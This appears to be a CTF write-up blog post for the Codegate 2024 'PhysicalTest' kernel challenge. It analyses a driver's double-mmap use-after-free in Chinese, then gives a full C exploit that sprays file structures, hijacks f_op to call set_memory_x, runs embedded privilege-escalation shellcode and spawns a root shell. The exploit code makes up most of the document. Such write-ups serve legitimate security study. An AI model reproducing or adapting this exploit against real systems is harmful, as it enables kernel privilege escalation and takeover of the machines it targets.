[ayoung@blog posts]$ cat ./codegate 2024 PhysicalTest.md

codegate 2024 PhysicalTest

[Last modified: 2025-03-08]

分析

struct page *alloc_pages(gfp_t gfp_mask, unsigned int order);,order为0分配1页,1分配2页

remap_pfn_range:将一段物理内存映射到用户空间的虚拟内存中。函数内部会为p4d申请内存

/**
 2  * remap_pfn_range - remap kernel memory to userspace
 3  * @vma: user vma to map to
 4  * @addr: target user address to start at
 5  * @pfn: physical address of kernel memory
 6  * @size: size of map area
 7  * @prot: page protection flags for this mapping
 8  *
 9  *  Note: this is only safe if the mm semaphore is held when called.
10  */
11 int remap_pfn_range(struct vm_area_struct *vma, unsigned long addr,
12             unsigned long pfn, unsigned long size, pgprot_t prot);

down_writeup_write读写锁

void zap_vma_ptes(struct vm_area_struct * vma, unsigned long address, unsigned long size),remove ptes mapping the vma

open:alloc_pages依次申请了四个物理页面ABCD,并将BCD清0,将D开头写入{codegate2024} read:从C读取内容 mmap:页ABC可以作为单个0x3000大小的映射映射到用户地址空间,vma结构体会被存在全局变量backing_vma。之后再调用mmap,这个全局变量会被覆盖,结构体没有做清除 write:将写入的字节(最多0x700)复制到页B,实现了一个类似编辑距离(Levenshtein distance)的算法在B和C之间计算相似度,如果B中数据长度超过0x700则释放页A、B和C,删除backing_vma并用zap_vma_ptes刷新页表项 release:释放A、B、C页面并zap刷新页表项

v4 = (page_offset_base + ((v3 - vmemmap_base) >> 6 << 12)); 计算 vmemmap 偏移量:从 vmemmap 基地址计算出偏移量。 计算页号:将偏移量转换为页号。 计算页地址:将页号转换为页的起始地址。 计算虚拟地址:将页地址转换为内核直接映射区的虚拟地址。

open的时候,v2 = kmalloc_trace(kmalloc_caches[5], 0xDC0LL, 0x20LL);用来存页面物理地址,v2[0]=B,v2[1]=C,v2[2]=A,v2[3]=D*(a2 + 0xC8) = v2存起来 在read里v3 = *(a1 + 0xC8);v5 = v3[1];取出C;write里面v3 = *(a1 + 0xC8);v4 = copy_from_user(page_offset_base + ((*v3 - vmemmap_base) >> 6 << 12), a2, a3);复制到B

利用

可以mmap两次,然后write触发free操作,free操作会将之前映射的地址free掉,但由于mmap了两次,在第二次mmap时没有对之前映射的内容做清除,存在UAF

首先用找到一个[[../../pwn/linux kernel/0 basic/file结构体]]页对齐,修改f_op指针,并布置其中llseak函数指针为set_memory_x,之后使用lseak64(fd, 1, SEEK_SET)触发set_memory_x,set_memory_x函数定义为int set_memory_x(unsigned long addr, int numpages);,此时正好第一个参数为file结构体起始地址 页对齐,第二个参数布置为1,修改当前页为可执行权限

接着布置好提权shellcode,将llseak指针修改指向shellcode,最后触发即可

执行binsh前需要将修改的fops指针恢复

exp

#define _GNU_SOURCE
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#define CHECK(x) ({ errno = 0; typeof(x) __x = (x); if(errno) { perror(#x); exit(1); } __x; })

int main() {
    char buf[4096];
    memset(buf, 0xcc, 4096);
    int fd = CHECK(open("/dev/test", O_RDWR));
    // int fd2 = CHECK(open("/dev/test", O_RDWR));

    // mmap twice to set backing_vm to file 2
    CHECK(mmap((void*)0x30000, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED, fd, 0));
    CHECK(mmap((void*)0x33000, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED, fd, 0));
    // printf("[+] a: %p", 0x30000);

    // write 0x701-length b to cause write to free all pages
    memset((void*)0x30000, 0x0, 0x3000);
    memset((void*)0x30000 + 0x1000, 0xcc, 0x1000);
    CHECK(write(fd, "a", 1));

    // spray file structures into freed pages
    int fds[0x100];
    for(int i=0; i<0x100; i++) {
        fds[i] = CHECK(open("/dev/urandom", O_RDONLY));
    }

    // look for page-aligned file structure for overwrite
    CHECK(write(fd, "a", 1));
    unsigned long *ax = (unsigned long *)0x30000;
    unsigned long kernel_base = 0;
    unsigned long file_base = 0;
    unsigned long *file_ax = 0;
    
    for(int i=0; i<0x3000; i+=0x1000) {
        if(ax[i + 0x30 >> 3] == ax[i + 0x38 >> 3] && (ax[i + 0x30 >> 3] & 0xfff) == 0x30 && (ax[i + 0xb0 >> 3] & 0xfffff) == 0x91700) {
            file_base = ax[i + 0x30 >> 3] - 0x30;
            file_ax = &ax[i >> 3];
            kernel_base = ax[i + 0xb0 >> 3] - 0x2291700L;
            break;
        }
    }
    printf("[+] kernel_base: 0x%lx\n", kernel_base);
    printf("[+] file_base: 0x%lx\n", file_base);
    printf("[+] file_ax: %p\n", file_ax);

    // disable read and see which fd fails to read
    file_ax[0x10/0x8] &= ~(1L << 32);
    int goodfd = -1;
    for(int i=0; i<0x100; i++) {
        if(read(fds[i], buf, 1) < 0) {
            printf("fd %d: %s\n", fds[i], strerror(errno));
            goodfd = fds[i];
            break;
        }
    }
    if(goodfd == -1) {
        printf("oops2\n");
        return 1;
    }
    printf("good fd = %d\n", goodfd);

    // treat space after the file as scratch space
    char backup[0x100];
    memcpy(backup, &file_ax[0x100/0x8], 0x100);
    file_ax[0x108/0x8] = 0x107b800L + kernel_base; // set_memory_x
    file_ax[0xb0/0x8] = file_base + 0x100L; //hijack f_ops
    lseek64(goodfd, 1, SEEK_SET);

    // shellcode exec
    file_ax[0x108/0x8] = file_base + 0x110L;
    const char shellcode[] = "SH\213\35\36\0\0\0H\215\273\200\311\240\2H\215\203\0\304\v\1\377\320H\211\307H\215\203p\301\v\1\377\320[\303AAAAAAAA";
    memcpy(&file_ax[0x110/0x8], shellcode, sizeof(shellcode));
    memcpy((char *)&file_ax[0x110/0x8] + sizeof(shellcode) - 9, &kernel_base, 8);
    printf("executing shellcode!\n");
    lseek64(goodfd, 1, SEEK_SET);
    printf("good to go!\n");
    file_ax[0xb0/0x8] = 0x2291700L + kernel_base; // restore fops 

    system("/bin/sh");
}